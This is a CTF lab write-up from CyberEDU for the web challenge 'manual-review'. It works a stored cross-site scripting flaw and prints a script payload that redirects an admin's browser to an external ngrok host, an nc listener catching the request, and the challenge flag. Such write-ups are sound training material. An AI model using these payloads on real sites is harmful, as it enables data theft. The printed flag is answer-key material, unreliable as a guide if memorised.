Write-up and solution for manual-review

TITLE	manual-review
CATEGORY	Web Application Security
AUTHOR	Lucian Nitescu
DIFFICULTY	Easy
LAST CHANGE	23-09-2021

Disclaimer

These educational materials and resources are intended exclusively for information and discussion, with the aim of awareness of computer risks and threats but also the preparation of new generations of computer security specialists.

The content is developed by CyberEDU SRL and does not offer any guarantee of any kind regarding it to this information. In no case, the organizers and partners of CyberEDU SRL, or the contractors, or its subcontractors will not be liable for any damages, including, but not limited to, direct, indirect, special or subsequent damages resulting from any how it relates to this information, whether or not it is based on warranty, contract, offense or otherwise, whether or not it is through negligence and whether the injury was or is not not resulting from the results or dependence on information.

CyberEDU SRL does not approve any commercial product or service, including the subjects of the analysis. Any reference to specific commercial products, processes or services through service mark, trade mark, manufacturer or otherwise, does not constitute or imply approval, recommendation or favoring them by CyberEDU SRL.

CyberEDU SRL recommends the use of knowledge and technologies presented in these resources only for educational or professional purposes on computers, websites, servers, services or other computer systems you own or you are allowed to access and test, and only after obtaining explicit prior consent from the owners.

Use of techniques or tools presented in these materials against any systems, without the consent of the owners. In many countries illegal access or tentative unauthorised access to a computer system is considered a crime against security and the integrity of computer systems and data and may be punished by law.

Unless otherwise indicated, the CyberEDU SRL is our proprietary property and all source code, databases, functionality, software, website designs, audio, video, text, photographs, and graphics on the CyberEDU SRL (collectively, the “Content”) and the trademarks, service marks, and logos contained therein (the “Marks”) are owned or controlled by us or licensed to us, and are protected by copyright and trademark laws and various other intellectual property rights and unfair competition laws of the United States, foreign jurisdictions, and international conventions.

The Content and the Marks are provided on the CyberEDU SRL “AS IS” for your information and personal use only. Except as expressly provided in these Terms and Conditions, no part of the CyberEDU SRL and no Content or Marks may be copied, reproduced, aggregated, republished, uploaded, posted, publicly displayed, encoded, translated, transmitted, distributed, sold, licensed, or otherwise exploited for any commercial purpose whatsoever, without our express prior written permission.

Provided that you are eligible to use the CyberEDU SRL, you are granted a limited license to access and use the CyberEDU SRL and to download or print a copy of any portion of the Content to which you have properly gained access solely for your personal, non-commercial use. We reserve all rights not expressly granted to you in and to the CyberEDU SRL, the Content and the Marks.

Unless otherwise indicated, the content is our proprietary property and all source code, databases, functionality, software, website designs, audio, video, text, photographs, and graphics received from CyberEDU (collectively, the “Content”) and the trademarks, service marks, and logos contained therein (the “Marks”) are owned or controlled by us or licensed to us, and are protected by copyright and trademark laws and various other intellectual property rights and unfair competition laws of the Romania, foreign jurisdictions, and international conventions.

The Content and the Marks are provided on the CyberEDU SRL “AS IS” for your information and personal use only. Except as expressly provided in these Terms and Conditions, no part of the CyberEDU SRL and no Content or Marks

About the Challenge

Description

```
For any coffee machine issue please open a ticket at the IT support
department.
Flag format: ctf{sha256}
Goal: The web application contains a vulnerability which allows an attacker
to leak sensitive information.
The challenge was created by Bit Sentinel.
```

Learning Objectives

- Web Application Vulnerabilities
- Learn how to abuse a Stored Cross Site Scripting Vulnerability in User agent
- Learn how to fingerprint a web application
- Learn how to to use Burp Suite

Skills Required

OWASP WSTG

- WSTG-INPV-11: Testing for Code Injection
- WSTG-INPV-02: Testing for Stored Cross Site Scripting
- WSTG-CLNT-02: Testing for JavaScript Execution
- WSTG-INFO-05: Review Webpage Content for Information Leakage

CWE

- Race Condition During Access to Alternate Channel - (421)

- Reliance on Cookies without Validation and Integrity Checking - (565)

MITRE ATT&CK

-

Walkthrough and solution

Hints

- Hint 1: Cross Site scripting

Detailed solution

Everything hinted at an XSS, so I entered `<script>alert(1);</script>` and clicked the submit button. As expected, the javascript code was executed.

This was the part where I got stuck. I managed to exfiltrate data from the admin's browser, but I couldn't get the flag. The flag, as it turned out, was in the `User-Agent` header. My final payload:

```
<script>
window.location.href = "https://361c4f4977c5.ngrok.io/yaku";
</script>
```

The request from the admin's browser looked like this:

```
yakuhito@furry-catstation:~/ctf/unbr1/manual-review$ nc -nvlp 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from 127.0.0.1 53004 received!
GET /yaku HTTP/1.1
Host: 361c4f4977c5.ngrok.io
```

```
Upgrade-Insecure-Requests: 1
User-Agent:
ctf{ff695564fdb6943c73fa76f9ca5cdd51dd3f7510336ffa3845baa34e8
d44b436}
```

```
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/w
ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer:
http://127.0.0.1:1234/asdadasdasdasdasdasdadsasdasdads
Accept-Encoding: gzip, deflate, br
X-Forwarded-Proto: https
X-Forwarded-For: 34.89.215.57

^C
yakuhito@furry-catstation:~/ctf/unbr1/manual-review$
```

Flag:
`ctf{ff695564fdb6943c73fa76f9ca5cdd51dd3f7510336ffa3845baa34e8d44b436}`

References

-